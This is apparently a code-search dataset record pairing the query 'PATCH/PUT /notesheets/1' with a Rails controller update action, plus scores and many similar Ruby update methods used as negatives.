[ "0.666936", "0.62605244", "0.6200012", "0.58830637", "0.5775622", "0.573048", "0.5709784", "0.5694335", "0.5609547", "0.55936563", "0.5590921", "0.55790657", "0.55607307", "0.5548598", "0.5543869", "0.5532662", "0.55211306", "0.5475616", "0.54702806", "0.5456696", "0.54557216", "0.5437321", "0.5434623", "0.5402517", "0.53975314", "0.5389947", "0.53599614", "0.53595114", "0.5341367", "0.53209394", "0.53105164", "0.53048915", "0.5279271", "0.52600217", "0.5255061", "0.5242388", "0.5241286", "0.52392334", "0.5239043", "0.52387875", "0.52266085", "0.5221826", "0.52026814", "0.5202501", "0.5199817", "0.51956874", "0.51940566", "0.5178442", "0.5171999", "0.5171999", "0.5165809", "0.5164479", "0.5163347", "0.5156292", "0.51539993", "0.515275", "0.5150178", "0.5148372", "0.5137643", "0.51139754", "0.5107712", "0.5105041", "0.510443", "0.51017463", "0.5099329", "0.50982237", "0.5095775", "0.5091836", "0.50864", "0.5085198", "0.50834733", "0.50818527", "0.5078511", "0.5077759", "0.5077153", "0.50694245", "0.5068197", "0.50659", "0.5059362", "0.50549006", "0.5049561", "0.50487804", "0.5046187", "0.5044113", "0.5040165", "0.5032512", "0.5032036", "0.50309443", "0.5026588", "0.5025493", "0.5025281", "0.5021667", "0.50117034", "0.5010472", "0.5008199", "0.50064117", "0.50060993", "0.5003467", "0.5001823", "0.5001171" ]
0.7247544
0
PATCH/PUT /notesheets/1 PATCH/PUT /notesheets/1.json
def update respond_to do |format| if @notesheet.update(notesheet_params) format.html { redirect_to @notesheet, notice: 'Notesheet was successfully updated.' } format.json { render :show, status: :ok, location: @notesheet } else format.html { render :edit } format.json { render json: @notesheet.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def patch!\n request! :patch\n end", "def update\n if @note.update(note_params)\n render json: @note\n else\n render json: @note.errors, status: :unprocessable_entity\n end\n end", "def update\n note = Note.find(params[\"id\"])\n note.update_attributes(note_params)\n respond_with note, json: note\n end", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def update\n respond_to do |format|\n if @notebook_note.update(notebook_note_params)\n format.html { redirect_to @notebook_note, notice: 'Note was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @notebook_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_notesheet\n @notesheet = Notesheet.find(params[:id])\n\n end", "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end", "def update\n respond_to do |format|\n if @note.update(note_params)\n format.html { redirect_to @note, notice: 'Note was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @note.update(note_params)\n format.html { redirect_to my_notes_path, notice: 'Note was successfully updated.' }\n format.json { render :show, status: :ok, location: @note }\n else\n format.html { render :edit }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @note = Note.find(params[:id])\n\n respond_to do |format|\n if @note.update_attributes(params_as_note_attributes_hash)\n format.html { redirect_to(@note, :notice => 'Note was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @note.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @note = Note.find(params[:id])\n respond_to do |format|\n if @note.update(note_params)\n format.html { redirect_to @note, notice: 'Note was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @note.update(note_params)\n format.html { redirect_to Note, notice: 'Note was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @note1.update(note1_params)\n format.html { redirect_to @note1, notice: \"Note1 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @note1 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @note1.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @note = Note.find(params[:id])\n\n respond_to do |format|\n if @note.update_attributes(params[:note])\n format.html { redirect_to @note, notice: 'Note was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @sticky_note = StickyNote.find(params[:id])\n\n respond_to do |format|\n if @sticky_note.update_attributes(params[:sticky_note])\n format.html { redirect_to @sticky_note, notice: 'Sticky note was successfully updated.' }\n format.json { render json: @sticky_note, status: :created, location: @sticky_note }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sticky_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end", "def update\n respond_to do |format|\n if @sr_note.update(sr_note_params)\n format.html { redirect_to @sr_note, notice: 'Sr note was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sr_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @note = Note.find(params[:id])\n\n respond_to do |format|\n if @note.update_attributes(params[:note])\n format.html { redirect_to [@project, @item, @note], notice: \"#{Note.name} was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @note_book.update(note_book_params)\n format.html { redirect_to @note_book, notice: 'Note book was successfully updated.' }\n format.json { render :show, status: :ok, location: @note_book }\n else\n format.html { render :edit }\n format.json { render json: @note_book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @note.update(note_params)\n format.html { redirect_to @note, notice: 'Note was successfully updated.' }\n format.json { render action: 'show', status: :ok, location: @note }\n else\n format.html { render action: 'edit' }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @task_note = Note.find(params[:id])\n\n respond_to do |format|\n if @task_note.update_attributes(params[:note])\n format.html { redirect_to notes_path, notice: 'Task note was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @project_note = ProjectNote.find(params[:id])\n\n if @project_note.update(project_note_params(params[:project_note]))\n head :no_content\n else\n render json: @project_note.errors, status: :unprocessable_entity\n end\n end", "def update\n add_breadcrumb 'Edit Ticketnotes'\n\n respond_to do |format|\n if @ticketnote.update(ticketnote_params)\n format.html do\n redirect_to @ticketnote,\n notice: 'Ticket note was successfully updated.'\n end\n format.json { render :show, status: :ok, location: @ticketnote }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json do\n render json: @ticketnote.errors, status: :unprocessable_entity\n end\n end\n end\n end", "def update\n @note = Note.find(params[:id])\n\n respond_to do |format|\n if @note.update_attributes(params[:note])\n format.html { redirect_to @note, :notice => 'Contact was successfully updated.' }\n format.json { render :json => @note }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @note.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @ticsheet.update(ticsheet_params)\n format.html { redirect_to @ticsheet, notice: 'Ticsheet was successfully updated.' }\n format.json { render :show, status: :ok, location: @ticsheet }\n else\n format.html { render :edit }\n format.json { render json: @ticsheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @note.update(note_params)\n format.html { redirect_to @note, notice: 'Note successfully updated.' }\n format.json { render :show, status: :ok, location: @note }\n else\n format.html { render :edit }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @note.update(note_params)\n format.html { redirect_to @note, notice: 'Note was successfully updated.' }\n format.json { render :show, status: :ok, location: @note }\n else\n format.html { render :edit }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @note.update(note_params)\n format.html { redirect_to @note, notice: 'Note was successfully updated.' }\n format.json { render :show, status: :ok, location: @note }\n else\n format.html { render :edit }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @note.update(note_params)\n format.html { redirect_to @note, notice: 'Note was successfully updated.' }\n format.json { render :show, status: :ok, location: @note }\n else\n format.html { render :edit }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @note.update(note_params)\n format.html { redirect_to @note, notice: 'Note was successfully updated.' }\n format.json { render :show, status: :ok, location: @note }\n else\n format.html { render :edit }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @note.update(note_params)\n format.html { redirect_to @note, notice: 'Note was successfully updated.' }\n format.json { render :show, status: :ok, location: @note }\n else\n format.html { render :edit }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @note.update(note_params)\n format.html { redirect_to @note, notice: 'Note was successfully updated.' }\n format.json { render :show, status: :ok, location: @note }\n else\n format.html { render :edit }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @note.update(note_params)\n format.html { redirect_to @note, notice: 'Note was successfully updated.' }\n format.json { render :show, status: :ok, location: @note }\n else\n format.html { render :edit }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @note.update(note_params)\n format.html { redirect_to @note}\n format.json { render :show, status: :ok, location: @note }\n else\n format.html { render :edit }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @lecture_note = LectureNote.find(params[:id])\n\n respond_to do |format|\n if @lecture_note.update_attributes(params[:lecture_note])\n format.html { redirect_to @lecture_note, notice: 'Lecture note was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lecture_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @data_note = DataNote.find(params[:id])\n\n respond_to do |format|\n if @data_note.update_attributes(params[:data_note])\n format.html { redirect_to @data_note.data_source, notice: 'Data note was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @data_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @notebook = Notebook.find(params[:id])\n\n respond_to do |format|\n if @notebook.update_attributes(params[:notebook])\n format.html { redirect_to @notebook, notice: 'Notebook was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @notebook.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @notebook = Notebook.find(params[:id])\n\n respond_to do |format|\n if @notebook.update_attributes(params[:notebook])\n format.html { redirect_to @notebook, notice: 'Notebook was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @notebook.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @note.update(note_params)\n format.html do\n flash[:notice] = t('controllers.notes.update.success')\n redirect_to @note.contact || @note\n end\n format.json { render :show, status: :ok, location: @note }\n else\n format.html { render :edit }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @notebook = Notebook.find(params[:id])\n\n if @notebook.update_attributes(params[:notebook])\n head :no_content\n else\n render json: @notebook.errors, status: :unprocessable_entity\n end\n end", "def patch\n end", "def update\n respond_to do |format|\n if @sticky_note.update(sticky_note_params)\n format.html { redirect_to @sticky_note, notice: 'Sticky note was successfully updated.' }\n format.json { render :show, status: :ok, location: @sticky_note }\n else\n format.html { render :edit }\n format.json { render json: @sticky_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n created_by_id = @note.created_by_id\n if @note.update_attributes(params[:note])\n if @note.created_by_id != created_by_id\n @note.created_by_id = created_by_id\n @note.save\n end\n format.html { redirect_to @note, notice: 'Note was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @note = Note.find(params[:id])\n\n\n respond_to do |format|\n if @note.update_attributes(params[:note])\n format.html { redirect_to @note, notice: 'Документ успешно обновлен.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @note.update(note_params)\n format.html { redirect_to '/notes'}#@note, notice: 'Note was successfully updated.' }\n format.json { render :show, status: :ok, location: @note }\n else\n format.html { render :edit }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @patch = Patch.find(params[:id])\n\n respond_to do |format|\n if @patch.update_attributes(params[:patch])\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @notebook = Notebook.find(@note.notebook_id)\n respond_to do |format|\n if @note.update(note_params)\n format.html { redirect_to @notebook, notice: 'Note was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end", "def update\n respond_to do |format|\n if @patch.update(patch_params)\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @api_v1_exercise.update(api_v1_exercise_params)\n format.html { redirect_to @api_v1_exercise, notice: 'Exercise was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_exercise }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(path, params = {})\n request(:patch, path, params)\n end", "def patch(path, params = {})\n request(:patch, path, params)\n end", "def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @note.update(note_params)\n format.html { redirect_to @note.game, notice: 'Note was successfully updated.' }\n format.json { render :show, status: :ok, location: @note }\n else\n format.html { render :edit }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @notes_list.update(notes_list_params)\n format.html { redirect_to @notes_list, notice: 'Notes list was successfully updated.' }\n format.json { render :show, status: :ok, location: @notes_list }\n else\n format.html { render :edit }\n format.json { render json: @notes_list.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @note.update(note_params)\n\n respond_to do |format|\n format.json { render json: flash.to_hash }\n end\n\n end", "def update\n respond_to do |format|\n if @food_note.update(food_note_params)\n format.html { redirect_to @food_note, notice: \"Food note was successfully updated.\" }\n format.json { render :show, status: :ok, location: @food_note }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @food_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(path, **args); end", "def update_note\n id = unsafe_params[:id].to_i\n fail \"id needs to be an Integer\" unless id.is_a?(Integer)\n\n title = unsafe_params[:title]\n fail \"title needs to be a String\" unless title.is_a?(String)\n\n content = unsafe_params[:content] || \"\"\n fail \"content needs to be a String\" unless content.is_a?(String)\n\n attachments_to_save = unsafe_params[:attachments_to_save] || []\n fail \"attachments_to_save needs to be an array\" unless attachments_to_save.is_a?(Array)\n\n attachments_to_delete = unsafe_params[:attachments_to_delete] || []\n fail \"attachments_to_delete neeeds to be an array\" unless attachments_to_delete.is_a?(Array)\n\n note = nil\n Note.transaction do\n note = Note.find_by!(id: unsafe_params[:id])\n fail '' unless note.editable_by?(@context)\n\n attachments_to_save.each do |uid|\n item = item_from_uid(uid)\n note.attachments.find_or_create_by(item: item)\n end\n\n attachments_to_delete.each do |uid|\n item = item_from_uid(uid)\n note.attachments.where(item: item).destroy_all\n end\n\n note.update!(title: title, content: content)\n end\n\n render json: {\n id: note.id,\n path: note_path(note),\n }\n end", "def update\n respond_to do |format|\n if @instrument_patch.update(instrument_patch_params)\n format.html { redirect_to @instrument_patch, notice: 'Instrument patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @instrument_patch.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(url, payload, headers={})\n RestClient.patch url, payload, headers\n end", "def update\n respond_to do |format|\n if @to_do_note.update(to_do_note_params)\n format.html { redirect_to @to_do_note, notice: 'To do note was successfully updated.' }\n format.json { render :show, status: :ok, location: @to_do_note }\n else\n format.html { render :edit }\n format.json { render json: @to_do_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n safe_params = params.permit(:id, :student_id, event_note: [:text])\n event_note = authorized_or_raise! { EventNote.find(safe_params[:id]) }\n raise Exceptions::EducatorNotAuthorized unless event_note.educator_id == current_educator.id\n\n # Update and also store the revision history\n update_succeeded, event_note_revision = update_note_with_revision(event_note, :text, safe_params[:event_note][:text])\n\n # Error types\n if event_note_revision.nil?\n render json: { errors: event_note_revision.errors.full_messages }, status: 422\n elsif !update_succeeded\n render json: { errors: event_note.errors.full_messages }, status: 422\n else\n serializer = EventNoteSerializer.dangerously_include_restricted_text(event_note)\n render json: serializer.serialize_event_note\n end\n end", "def update\n @job_sheet = JobSheet.find(params[:id])\n\n respond_to do |format|\n if @job_sheet.update_attributes(params[:job_sheet])\n format.html { redirect_to @job_sheet, notice: 'Job sheet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def notes=(notes)\n self.service.editObject({ \"notes\" => notes.to_s })\n self.refresh_details()\n end", "def update\n respond_to do |format|\n if @note.update(note_params)\n format.html { redirect_to @note.note_object.metamorphosize, notice: 'Note was successfully created.' }\n format.json { render json: @note, status: :created, location: @note }\n else\n format.html { redirect_to :back, notice: 'Note was NOT successfully updated.' }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @note = ::Note.find(params[:id])\n authorize @note\n @note.text = note_params[:text]\n\n @answer = @note.answer\n @question = @answer.question\n @plan = @answer.plan\n @research_output = @answer.research_output\n\n question_id = @note.answer.question_id.to_s\n section_id = @question.section_id\n\n if @note.update(note_params)\n @notice = success_message(@note, _('saved'))\n render(json: {\n 'notes' => {\n 'id' => question_id,\n 'html' => render_to_string(partial: 'layout', locals: {\n plan: @plan,\n question: @question,\n answer: @answer,\n research_output: @research_output\n }, formats: [:html])\n },\n 'title' => {\n 'id' => question_id,\n 'html' => render_to_string(partial: 'title', locals: {\n answer: @answer\n }, formats: [:html])\n },\n 'research_output' => {\n 'id' => @research_output.id\n },\n 'section' => {\n 'id' => section_id\n }\n }.to_json, status: :ok)\n else\n @notice = failure_message(@note, _('save'))\n render json: {\n 'msg' => @notice\n }.to_json, status: :bad_request\n end\n end", "def update\n note = Note.find(params[:id])\n\n\tif note.update_attributes(params[:note])\n\t\trender :json => { :success => :true } \n else\n\t\trender :json => { :success => :false, :errors => errors }\n end\n #respond_to do |format|\n # if @note.update_attributes(params[:note])\n # format.html { redirect_to(@note, :notice => 'Note was successfully updated.') }\n # format.xml { head :ok }\n # else\n # format.html { render :action => \"edit\" }\n # format.xml { render :xml => @note.errors, :status => :unprocessable_entity }\n # end\n #end\n end", "def update\n @note = Note.find(params[:id])\n\n respond_to do |format|\n if @note.update_attributes(params[:note])\n format.js {}\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @note.errors, :status => :unprocessable_entity }\n end\n end\n end", "def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end", "def update\n respond_to do |format|\n if @event_note.update(event_note_params)\n format.html { redirect_to @event_note, notice: 'Event note was successfully updated.' }\n format.json { render :show, status: :ok, location: @event_note }\n else\n format.html { render :edit }\n format.json { render json: @event_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @document.update_attributes(name: document_params[:name], lab_id: document_params[:lab_id])\n format.html { redirect_to documents_url, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: documents_url }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @notegood.update(notegood_params)\n format.html { redirect_to @notegood, notice: 'Notegood was successfully updated.' }\n format.json { render :show, status: :ok, location: @notegood }\n else\n format.html { render :edit }\n format.json { render json: @notegood.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n o = Designation.find(params[:id])\n \n if o.update_attributes(:title => params[:title], :desc => params[:desc], \n :note => params[:note])\n render :json => { :success => 1, \n :message => 'Job Title was successfully updated.' }\n \n else\n render :json => DesignationHelper.get_errors(o.errors)\n end\n end", "def update\n respond_to do |format|\n if @communication_note.update(communication_note_params)\n format.html { redirect_to @communication_note, notice: 'Communication note was successfully updated.' }\n format.json { render :show, status: :ok, location: @communication_note }\n else\n format.html { render :edit }\n format.json { render json: @communication_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @reading.update(params[:reading])\n format.html { redirect_to @reading, notice: 'Dtc staff was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @reading.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @note.update(note_params)\n format.html { redirect_to [@participant,@note], notice: 'Note was successfully updated.' }\n format.json { render :show, status: :ok, location: @note }\n else\n format.html { render :edit }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @sax_note.update(sax_note_params)\n format.html { redirect_to sax_notes_url, notice: 'Sax note was successfully updated.' }\n format.json { render :show, status: :ok, location: @sax_note }\n else\n format.html { render :edit }\n format.json { render json: @sax_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @progress_note.update(progress_note_params)\n format.html { redirect_to @progress_note, notice: 'Progress note was successfully updated.' }\n format.json { render :show, status: :ok, location: @progress_note }\n else\n format.html { render :edit }\n format.json { render json: @progress_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @sheet = Sheet.find(params[:id])\n\n respond_to do |format|\n if @sheet.update_attributes(params[:sheet])\n format.html { redirect_to @sheet, :notice => 'Sheet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @sheet.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @formulary.update(formulary_params)\n format.html { redirect_to formularies_url, alert: I18n.t('activerecord.models.formulary') + I18n.t('helpers_locale.models.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @formulary.errors, status: :unprocessable_entity }\n end\n end\n end", "def update # PATCH\n raise NotImplementedError\n end", "def update\n\t\t#check condition for present or not.\n\t\tif @case_note.present?\n\t\t\t# updating the case note attributes for the particular case note\n\t\t @case_note.update_attributes(case_note_params)\n\t\t #response in json format\n\t render json: { success: true,message: \"Case Note Successfully Updated.\", response: CaseNoteSerializer.new(@case_note).as_json(root: false) },:status=>200\n\t else\n\t render :json=> { success: false, message: \"Notes are not present\" },:status=> 203\n\t end \n\tend", "def update\n respond_to do |format|\n if @project_note.update(project_note_params)\n format.html { redirect_to @project_note, notice: 'Project note was successfully updated.' }\n format.json { render :show, status: :ok, location: @project_note }\n else\n format.html { render :edit }\n format.json { render json: @project_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @note = Note.find(params[:id])\n\n respond_to do |format|\n if @note.update_attributes(params[:note])\n format.html { redirect_to @note, notice: 'Note was successfully updated.' }\n else\n format.html { render action: \"edit\" }\n end\n end\n end", "def update\n @note = Note.find(params[:id])\n if @note.user == @current_user\n @note.update(note_params)\n render json: @note\n else\n render json: { error: \"No such note for user\" }, status: :unauthorized\n end\n end", "def update\n respond_to do |format|\n if @footnote.update(footnote_params)\n format.html { redirect_to @footnote, notice: 'Footnote was successfully updated.' }\n format.json { render :show, status: :ok, location: @footnote }\n else\n format.html { render :edit }\n format.json { render json: @footnote.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @exercise_set = ExerciseSet.find(params[:id])\n\n respond_to do |format|\n if @exercise_set.update_attributes(params[:exercise_set])\n format.html { redirect_to @exercise_set.workout, notice: 'Exercise set was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exercise_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @pnote.update(pnote_params)\n format.html { redirect_to @pnote, notice: 'Pnote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pnote.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(path, data, params = {}, request_options = {})\n request(:patch, path, data, params)\n end", "def update\n @patient_exercise = PatientExercise.find(params[:id])\n\n respond_to do |format|\n if @patient_exercise.update_attributes(params[:patient_exercise])\n format.html { redirect_to @patient_exercise, notice: 'Patient exercise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patient_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @private_note.update(private_note_params)\n format.html { redirect_to @private_note, notice: 'Private note was successfully updated.' }\n format.json { render :show, status: :ok, location: @private_note }\n else\n format.html { render :edit }\n format.json { render json: @private_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @reminder = Reminder.find(params[:id])\n\n respond_to do |format|\n if @reminder.update_attributes(reminder_params)\n format.html { redirect_to @reminder, notice: 'Reminder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reminder.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n# byebug\n respond_to do |format|\n if @weekly_note.update(weekly_note_params)\n format.html { redirect_to @weekly_note, notice: 'Weekly note was successfully updated.' }\n format.js { redirect_to action: 'meetings', t_ward: params[:th_ward], sPreviousMeetings: weekly_note_params[:meeting_date]}\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @weekly_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n bookmark = Bookmark.find_by(id: params[:id])\n bookmark.update(\n name: bookmark.name,\n path: bookmark.path,\n note_id: params[:note_id],\n user_id: current_user.id,\n screenshot_data: bookmark.screenshot_data\n )\n if bookmark.save\n render json: { message: \"success\"}\n else\n render json: { errors: bookmark.full_messages }, status: 422\n end\n end", "def update\r\n @reminder = Reminder.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @reminder.update_attributes(params[:reminder])\r\n format.html { redirect_to @reminder, notice: 'Reminder was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @reminder.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def notesheet_params\n params.require(:notesheet).permit(:content, :title, :course_id, :user_id, :date_created, :notepic, :notepic_cache)\n end", "def update\n @sheet = Sheet.find(params[:id])\n\n respond_to do |format|\n if @sheet.update_attributes(params[:sheet])\n format.html { redirect_to @sheet, notice: 'Sheet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(notes)\n fetch_notes\n show_notes\n push_notes(notes)\n end", "def update\n respond_to do |format|\n if @sheet.update(sheet_params)\n format.html { redirect_to @sheet, notice: 'Sheet was successfully updated.' }\n format.json { render json: @sheet }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_mod\n if params[:title] != nil && params[:content] != nil\n @question.title = params[:title]\n @question.content = params[:content]\n\n question_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/updateQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, question_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully updated\"\n redirect_to questions_path\n end\n end" ]
